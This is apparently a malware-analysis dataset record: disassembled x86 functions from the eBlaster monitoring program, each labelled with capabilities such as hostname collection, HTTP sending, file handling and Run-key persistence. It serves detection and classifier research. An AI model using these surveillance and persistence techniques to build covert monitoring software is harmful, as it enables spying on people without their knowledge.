joyce8/EMBER2024-capa huggingface dataset:
Function at 0x472890
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x53df6b
mov eax, dword fs:[0]
push eax
sub esp, 0x130
mov eax, dword [0x5bc684]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
xor ebx, ebx
mov dword [ebp - 0x134], ebx
mov dword [ebp - 4], ebx
mov eax, dword [0x5bbfe4]
mov dword [ebp - 0x130], eax
mov byte [ebp - 4], 1
call fcn.004727d0
mov edi, eax
cmp edi, ebx
je 0x472927
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4728f0
sub eax, edx
je 0x472927
push str.eBlaster_SN:
lea ecx, [ebp - 0x130]
call fcn.004bfc00
push edi
lea ecx, [ebp - 0x130]
call fcn.004bfd50
push 0x56ce08
lea ecx, [ebp - 0x130]
call fcn.004bfd50
mov byte [ebp - 0x12c], bl
push 0x103
push ebx
lea ecx, [ebp - 0x12b]
push ecx
call fcn.004ff6f0
add esp, 0xc
mov dword [ebp - 0x138], ebx
mov ecx, str.default
lea edx, [ebp - 0x12c]
mov al, byte [ecx]
mov byte [edx], al
inc ecx
inc edx
cmp al, bl
jne 0x472953
mov dword [ebp - 0x138], 0x104
lea edx, [ebp - 0x138]
push edx
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [ebp - 0x12c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x472984
sub eax, edx
je 0x4729c1
push str.Computer_Name:
lea ecx, [ebp - 0x130]
call fcn.004bfd50
lea ecx, [ebp - 0x12c]
push ecx
lea ecx, [ebp - 0x130]
call fcn.004bfd50
push 0x56ce08
lea ecx, [ebp - 0x130]
call fcn.004bfd50
push ebx
push 7
push str._d._d
lea edx, [ebp - 0x28]
push edx
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
call esi
add esp, 0x10
push str.eBlaster
lea ecx, [ebp - 0x130]
call fcn.004bfd50
push str.Version:
lea ecx, [ebp - 0x130]
call fcn.004bfd50
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x130]
call fcn.004bfd50
push 0x56ce08
lea ecx, [ebp - 0x130]
call fcn.004bfd50
push 0x2036
push 0x54f274
lea ecx, [ebp - 0x28]
push ecx
call esi
add esp, 0xc
push str.__Build:
lea ecx, [ebp - 0x130]
call fcn.004bfd50
lea edx, [ebp - 0x28]
push edx
lea ecx, [ebp - 0x130]
call fcn.004bfd50
push 0x56ce08
lea ecx, [ebp - 0x130]
call fcn.004bfd50
mov eax, dword [ebp - 0x130]
mov eax, dword [eax - 8]
inc eax
push eax
call fcn.004fc6be
add esp, 4
mov dword [ebp - 0x134], eax
mov ecx, dword [ebp - 0x130]
mov edx, eax
lea ebx, [ebx]
mov al, byte [ecx]
mov byte [edx], al
inc ecx
inc edx
cmp al, bl
jne 0x472a80
cmp edi, ebx
je 0x472a97
push edi
call fcn.004fedfc
add esp, 4
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x130]
call fcn.004bfa40
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x134]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004fe1f5
mov esp, ebp
pop ebp
ret
Function at 0x477820
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x5bc684]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
push ebx
push esi
push edi
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edx, dword [ebp + 8]
push str.TEMP
push edx
call fcn.004bef70
add esp, 8
xor ebx, ebx
test eax, eax
jne 0x47788a
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
cmp byte [esi], bl
je 0x47786c
cmp edi, ebx
je 0x47786c
inc esi
dec edi
cmp byte [esi], bl
jne 0x477862
push edi
push str.TEMP
push esi
call fcn.004ff0c0
add esp, 0xc
mov byte [edi + esi - 1], bl
mov eax, dword [ebp + 8]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov esi, dword [ebp + 8]
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x477892
sub eax, edx
cmp byte [eax + esi - 1], 0x5c
je 0x4778df
mov edi, dword [ebp + 0xc]
cmp byte [esi], bl
je 0x4778ba
lea esp, [esp]
cmp edi, ebx
je 0x4778ba
inc esi
dec edi
cmp byte [esi], bl
jne 0x4778b0
push 0x5c
lea ecx, [ebp - 0x10]
push 0x54f274
push ecx
call fcn.004ff1e4
push edi
lea edx, [ebp - 0x10]
push edx
push esi
call fcn.004ff0c0
mov byte [esi + edi - 1], bl
mov esi, dword [ebp + 8]
add esp, 0x18
mov edi, dword [ebp + 0xc]
cmp byte [esi], bl
je 0x4778f0
cmp edi, ebx
je 0x4778f0
inc esi
dec edi
cmp byte [esi], bl
jne 0x4778e6
push edi
push str.ebsetup
push esi
call fcn.004ff0c0
mov byte [edi + esi - 1], bl
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
add esp, 0xc
cmp byte [esi], bl
je 0x47791a
lea ecx, [ecx]
cmp edi, ebx
je 0x47791a
inc esi
dec edi
cmp byte [esi], bl
jne 0x477910
mov eax, dword [ebp + 0x10]
push eax
lea ecx, [ebp - 0x10]
push 0x54f274
push ecx
call fcn.004ff1e4
push edi
lea edx, [ebp - 0x10]
push edx
push esi
call fcn.004ff0c0
mov byte [esi + edi - 1], bl
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
add esp, 0x18
cmp byte [esi], bl
je 0x477952
cmp edi, ebx
je 0x477952
inc esi
dec edi
cmp byte [esi], bl
jne 0x477948
push edi
push 0x54f278
push esi
call fcn.004ff0c0
mov ecx, dword [ebp - 4]
add esp, 0xc
mov byte [edi + esi - 1], bl
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004fe1f5
mov esp, ebp
pop ebp
ret
Function at 0x477af0
Capabilities:
Connect to http server
Create http request
Get http content length
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x53e991
mov eax, dword fs:[0]
push eax
sub esp, 0x234
mov eax, dword [0x5bc684]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, 0x5bf840
mov cl, byte [eax]
test cl, cl
je 0x477b42
inc eax
cmp cl, 0x3a
jne 0x477b23
mov cl, byte [eax]
test cl, cl
je 0x477b42
cmp cl, 0x2f
jne 0x477b42
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x477b35
mov cl, byte [eax]
mov esi, eax
test cl, cl
je 0x477b5d
lea ebx, [ebx]
cmp cl, 0x2f
je 0x477b5d
mov cl, byte [esi + 1]
inc esi
test cl, cl
jne 0x477b50
mov edi, esi
sub edi, eax
cmp edi, 0x104
jl 0x477b6e
mov edi, 0x104
push edi
push eax
lea eax, [ebp - 0x114]
push eax
call fcn.004fe210
mov ecx, dword [0x5bbfe4]
add esp, 0xc
mov byte [ebp + edi - 0x114], 0
mov dword [ebp - 0x21c], ecx
xor edi, edi
mov dword [ebp - 4], edi
push 0x54f15a
lea ecx, [ebp - 0x21c]
call fcn.004bfc00
push edi
push 0xe00b
lea ecx, [ebp - 0x21c]
call fcn.004c1150
mov dword [ebp - 4], 1
mov edx, dword [ebp - 0x21c]
push edi
push edi
push edi
push edi
push edx
call dword [sym.imp.WININET.dll_InternetOpenA]
push edi
push edi
push 3
push edi
push edi
push 0x50
lea ecx, [ebp - 0x114]
push ecx
push eax
mov dword [ebp - 0x234], eax
call dword [sym.imp.WININET.dll_InternetConnectA]
push 0x104
lea edx, [ebp - 0x218]
push esi
push edx
mov dword [ebp - 0x224], eax
mov dword [ebp - 0x228], edi
call fcn.004ff0c0
add esp, 0xc
jmp 0x477c12
xor edi, edi
mov edx, dword [ebp - 0x224]
push edi
push 0x200000
lea eax, [ebp - 0x240]
push eax
push edi
push edi
lea ecx, [ebp - 0x218]
push ecx
push 0x56e00c
push edx
mov dword [ebp - 0x240], 0x56e004
mov dword [ebp - 0x23c], str.application_
mov dword [ebp - 0x238], edi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
push edi
push edi
push edi
mov esi, eax
push edi
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x22c]
push ecx
lea edx, [ebp - 0x218]
push edx
push 0x21
push esi
mov dword [ebp - 0x220], edi
mov dword [ebp - 0x22c], 0x104
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
mov ebx, eax
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x230]
push ecx
lea edx, [ebp - 0x228]
push edx
push 0x20000005
push esi
mov dword [ebp - 0x220], edi
mov dword [ebp - 0x230], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
push esi
mov edi, eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
test ebx, ebx
jne 0x477c10
mov eax, dword [ebp - 0x224]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push eax
call esi
mov ecx, dword [ebp - 0x234]
push ecx
call esi
neg edi
sbb edi, edi
and edi, dword [ebp - 0x228]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x21c]
call fcn.004bfa40
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004fe1f5
mov esp, ebp
pop ebp
ret
Function at 0x478720
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_LoadCursorA]
push edi
push 0x7f02
push 0
call esi
mov edi, dword [sym.imp.USER32.dll_SetCursor]
push eax
call edi
mov ebx, dword [sym.imp.USER32.dll_ShowCursor]
push 1
call ebx
mov eax, dword [ebp + 8]
push 1
push 0
push 0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7f00
push 0
call esi
push eax
call edi
push 1
call ebx
pop edi
pop esi
pop ebx
pop ebp
ret 4
Function at 0x47cc50
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x53f348
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
mov eax, dword [0x5bc684]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
push str..prodname.txt
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x47cce5
mov eax, dword [0x5bbfe4]
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x10]
push 0xe00c
push ecx
call fcn.004c13b0
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax - 8]
add esp, 8
push 0
lea edx, [ebp - 0x14]
push edx
push ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.004bfa40
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x47d500
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x5bc684]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
test edi, edi
je 0x47d5bf
test esi, esi
je 0x47d5bf
push 0x103
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call fcn.004ff6f0
lea ecx, [ebp - 0x108]
push ecx
push esi
call fcn.00406b70
add esp, 0x14
test eax, eax
je 0x47d5bf
lea edx, [ebp - 0x108]
push edx
push str.checksums
push 4
call fcn.0046f040
mov esi, eax
add esp, 0xc
test esi, esi
je 0x47d5b2
mov eax, dword [esi]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
mov ecx, esi
call edx
mov eax, dword [edi + 0x60]
mov ecx, dword [esi + 0x60]
add eax, 0xf24
add ecx, 0xf24
mov dl, byte [eax]
mov byte [ecx], dl
inc eax
inc ecx
test dl, dl
jne 0x47d591
push 0x3911b7f
push esi
mov ecx, edi
call fcn.0046cec0
mov eax, dword [esi]
mov edx, dword [eax]
push 1
mov ecx, esi
call edx
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.004fe1f5
mov esp, ebp
pop ebp
ret
Function at 0x47e3f0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x47e44d
mov eax, dword [esi + 0x60]
add eax, 0xf24
cmp byte [eax], 0
je 0x47e44d
push eax
call fcn.004c4aa0
add esp, 4
test eax, eax
jne 0x47e425
push eax
mov eax, dword [esi + 0x60]
add eax, 0xf24
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ecx, dword [esi + 0x60]
add ecx, 0xf24
push ecx
call fcn.004c4aa0
add esp, 4
test eax, eax
je 0x47e44d
mov edx, dword [esi + 0x60]
add edx, 0xf24
push edx
call fcn.004c8e00
add esp, 4
pop esi
pop ebp
ret

Function at 0x47e450
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
mov eax, dword [0x5bc684]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x94
lea eax, [ebp - 0x98]
push 0
push eax
call fcn.004ff6f0
add esp, 0xc
lea ecx, [ebp - 0x98]
push ecx
mov dword [ebp - 0x98], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x94], 5
jne 0x47e4b5
cmp dword [ebp - 0x90], 0
jne 0x47e4b5
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004fe1f5
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
call fcn.004fe1f5
mov esp, ebp
pop ebp
ret
Function at 0x47ead0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x53f5eb
mov eax, dword fs:[0]
push eax
sub esp, 0x368
mov eax, dword [0x5bc684]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 8]
mov eax, dword [ebx + 0x60]
add eax, 0x17ac
cmp byte [eax], 0
je 0x47ec6a
push eax
lea ecx, [ebp - 0x36c]
call fcn.0043ab30
mov dword [ebp - 4], 0
cmp dword [ebp - 0x36c], 0
je 0x47ec58
lea ecx, [ebp - 0x36c]
call fcn.0043a510
test eax, eax
je 0x47ec58
lea ecx, [ebp - 0x36c]
call fcn.0043a550
lea eax, [ebp - 0x218]
push ebx
push eax
call fcn.004285a0
mov eax, dword [ebx + 0x60]
add eax, 0xf24
lea edx, [ebp - 0x114]
add esp, 8
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x47eb70
lea ecx, [ebp - 0x114]
push ecx
call fcn.004bf2e0
lea eax, [ebp - 0x218]
add esp, 4
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x47eb91
lea edi, [ebp - 0x114]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x47eba1
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x114]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x47ebc0
mov eax, dword [ebx + 0x60]
mov dx, word [0x5509cc]
add eax, 0x1230
mov word [edi], dx
mov ecx, eax
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x47ebe0
lea edi, [ebp - 0x114]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x47ebf2
mov ecx, eax
shr ecx, 2
push 0
rep movsd dword es:[edi], dword [esi]
push 0
push 3
push 0
push 3
mov ecx, eax
push SysReAllocString
lea eax, [ebp - 0x114]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x47ec58
push 2
push 0
push 0xfffffffffffffffc
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea ecx, [ebp - 0x370]
push ecx
push 4
lea edx, [ebp - 0x374]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x36c]
call fcn.0043a780
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004fe1f5
mov esp, ebp
pop ebp
ret
Function at 0x47f2c0
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x53f660
mov eax, dword fs:[0]
push eax
sub esp, 0x428
mov eax, dword [0x5bc684]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
mov dword [ebp - 4], 0
push 0x200
lea eax, [ebp - 0x434]
push eax
push 0x56e558
call fcn.004be730
push eax
push str.CLSID_s
lea ecx, [ebp - 0x234]
push ecx
call fcn.004ff1e4
lea edx, [ebp - 0x34]
push edx
call fcn.004da960
push 0
lea eax, [ebp - 0x34]
push eax
push 0
lea ecx, [ebp - 0x234]
push ecx
push SysReAllocString
call fcn.0048ffa0
push 0
push esi
push str.InprocServer32
lea edx, [ebp - 0x234]
push edx
push SysReAllocString
call fcn.0048ffa0
add esp, 0x44
push str.ThreadingModel
push str.Apartment
push str.InprocServer32
lea eax, [ebp - 0x234]
push eax
push SysReAllocString
call fcn.0048ffa0
push str.XmLdrStub
push edi
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.0048ffa0
add esp, 0x28
mov dword [ebp - 4], 0xffffffff
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004fe1f5
mov esp, ebp
pop ebp
ret
Function at 0x480650
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x53f700
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x5bc684]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 4], 0
mov eax, dword [0x5bbfe4]
mov dword [ebp - 0x14], eax
mov ebx, 1
mov byte [ebp - 4], bl
mov ecx, dword [0x5bbfe4]
mov dword [ebp - 0x18], ecx
mov byte [ebp - 4], 2
push str.http:__www.specto
lea ecx, [ebp - 0x18]
call fcn.004bfc00
push str.rsoft.com_products_eblaster_windows_help_v_d0_webhelp_
lea ecx, [ebp - 0x18]
call fcn.004bfd50
push 7
mov edx, dword [ebp - 0x18]
push edx
lea eax, [ebp - 0x14]
push eax
call fcn.004c0960
add esp, 0xc
mov esi, dword [ebp + 8]
test esi, esi
je 0x48072f
push str.default.htm
lea ecx, [ebp - 0x14]
call fcn.004bfd50
push esi
xor edx, edx
cmp edx, esi
sbb eax, eax
and eax, 0xe
add eax, ebx
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push eax
call fcn.004f5fa0
add esp, 0x10
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x18]
call fcn.004bfa40
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x14]
call fcn.004bfa40
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 5
push 0
push 0
mov ecx, dword [ebp - 0x14]
push ecx
push str.open
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x4806ff
Function at 0x481a30
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x53f9ec
mov eax, dword fs:[0]
push eax
sub esp, 0x574
mov eax, dword [0x5bc684]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
xor ebx, ebx
mov dword [ebp - 0x57c], eax
mov dword [ebp - 0x580], ecx
cmp edi, ebx
je 0x481c6f
cmp eax, ebx
je 0x481c6f
mov edx, dword [0x5c0a44]
push edx
lea ecx, [ebp - 0x344]
lea esi, [ebx + 1]
call fcn.0040c390
mov dword [ebp - 4], ebx
cmp dword [0x5c19bc], ebx
je 0x481ad4
jmp 0x481ab0
push ebx
push 0x5c0b4c
lea ecx, [ebp - 0x344]
call fcn.004c3750
mov esi, eax
cmp esi, 1
je 0x481ad4
call fcn.00407df0
mov esi, eax
cmp esi, 1
je 0x481ab0
lea eax, [ebp - 0x31c]
mov edx, edi
mov ecx, eax
sub edx, ecx
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
cmp cl, bl
jne 0x481ae0
cmp dword [0x5c19bc], ebx
jne 0x481c59
cmp dword [0x5c0394], ebx
je 0x481c59
mov edx, dword [0x5c0a44]
push edx
lea ecx, [ebp - 0x578]
call fcn.004311f0
mov byte [ebp - 4], 1
cmp dword [0x5c1ac4], ebx
jne 0x481c23
push 0x103
lea eax, [ebp - 0x217]
push ebx
push eax
mov byte [ebp - 0x218], bl
call fcn.004ff6f0
push 0x103
lea ecx, [ebp - 0x113]
push ebx
push ecx
mov byte [ebp - 0x114], bl
call fcn.004ff6f0
add esp, 0x18
lea edx, [ebp - 0x218]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x114]
push eax
push 0xabcd
push 0x54f16c
lea ecx, [ebp - 0x218]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
lea eax, [ebp - 0x114]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x481b90
sub eax, edx
mov byte [ebp + eax - 0x117], bl
lea eax, [ebp - 0x114]
dec eax
mov cl, byte [eax + 1]
inc eax
cmp cl, bl
jne 0x481ba7
mov edx, dword [str.html]
mov cl, byte [0x56e8c0]
mov dword [eax], edx
push ebx
push 0xb0
lea edx, [ebp - 0x114]
mov byte [eax + 4], cl
mov eax, dword [0x5c0834]
push edx
push eax
call fcn.004cac30
add esp, 0x10
lea ecx, [ebp - 0x114]
push ecx
lea ecx, [ebp - 0x578]
call fcn.0047c9e0
cmp esi, 1
jne 0x481c16
push ebx
push 0x5c0b4c
lea ecx, [ebp - 0x578]
call fcn.004c3750
mov esi, eax
cmp esi, 1
je 0x481c16
call fcn.00407df0
mov esi, eax
cmp esi, 1
je 0x481bf2
lea edx, [ebp - 0x114]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 0x554]
mov ecx, dword [ebp - 0x580]
mov edx, dword [ebp - 0x57c]
mov dword [ecx], eax
lea eax, [ebp - 0x54c]
mov ecx, eax
sub edx, ecx
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
cmp cl, bl
jne 0x481c41
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x578]
call fcn.004c32f0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x344]
call fcn.004c32f0
mov eax, esi
jmp 0x481c74
mov eax, 2
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004fe1f5
mov esp, ebp
pop ebp
ret
Function at 0x4821d0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x53fa91
mov eax, dword fs:[0]
push eax
sub esp, 0x41c
mov eax, dword [0x5bc684]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x424], ebx
test ebx, ebx
je 0x48240a
cmp dword [0x5c19bc], 0
jne 0x48240a
cmp dword [ebp + 0xc], 1
je 0x48240a
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0x104
mov edi, eax
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.004ff6f0
mov eax, edi
add esp, 0xc
xor edx, edx
lea esi, [eax + 1]
jmp 0x482250
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x482250
sub eax, esi
je 0x482284
lea ebx, [ebp - 0x218]
mov al, byte [edx + edi]
cmp al, 0x22
je 0x48226b
mov byte [ebx], al
inc ebx
mov eax, edi
inc edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x482271
sub eax, esi
cmp edx, eax
jb 0x482261
mov ebx, dword [ebp - 0x424]
push 0x103
lea ecx, [ebp - 0x31b]
push 0
push ecx
call fcn.004ff6f0
push 0x103
lea edx, [ebp - 0x113]
push 0
push edx
call fcn.004ff6f0
lea eax, [ebp - 0x114]
add esp, 0x18
mov byte [ebp - 0x114], 0
mov byte [ebp - 0x31c], 0
xor esi, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4822c6
sub eax, edx
je 0x482309
lea eax, [ebp - 0x31c]
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4822e0
sub eax, edx
je 0x482309
lea eax, [ebp - 0x31c]
push eax
lea ecx, [ebp - 0x114]
push ecx
call fcn.004fee10
add esp, 8
test eax, eax
jne 0x4823a8
lea edx, [ebp - 0x114]
push 0x54f3f0
push edx
call fcn.004fee10
add esp, 8
test eax, eax
je 0x48232f
xor eax, eax
mov cl, byte [ebp + eax - 0x114]
inc eax
test cl, cl
jne 0x482323
cmp dword [0x5c1ac4], esi
jne 0x4823a8
mov eax, dword [0x5bbfe4]
mov dword [ebp - 0x424], eax
mov dword [ebp - 4], 0
push 0x54f15a
lea ecx, [ebp - 0x424]
call fcn.004bfc00
push 0
push 0xdbf0
lea ecx, [ebp - 0x424]
call fcn.004c1150
mov dword [ebp - 4], 1
mov ecx, dword [ebp - 0x424]
mov edx, dword [0x5c0a44]
push ecx
push 0x24
push edx
call fcn.004c66a0
add esp, 0xc
cmp eax, 6
jne 0x482392
lea esi, [eax - 5]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x424]
call fcn.004bfa40
test esi, esi
je 0x48240a
cmp byte [0x5c19c0], 0
je 0x4823d2
xor eax, eax
jmp 0x4823c0
mov cl, byte [eax + 0x5c19c0]
mov byte [ebp + eax - 0x218], cl
inc eax
test cl, cl
jne 0x4823c0
mov ecx, dword [ebx + 0x60]
push 0x104
lea eax, [ebp - 0x218]
push eax
add ecx, 0x1cc0
push ecx
call fcn.004bf0a0
lea edx, [ebp - 0x218]
push 0
push edx
call fcn.004cabd0
push 0
push 0x5c1ac8
call fcn.004cabd0
add esp, 0x1c
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004fe1f5
mov esp, ebp
pop ebp
ret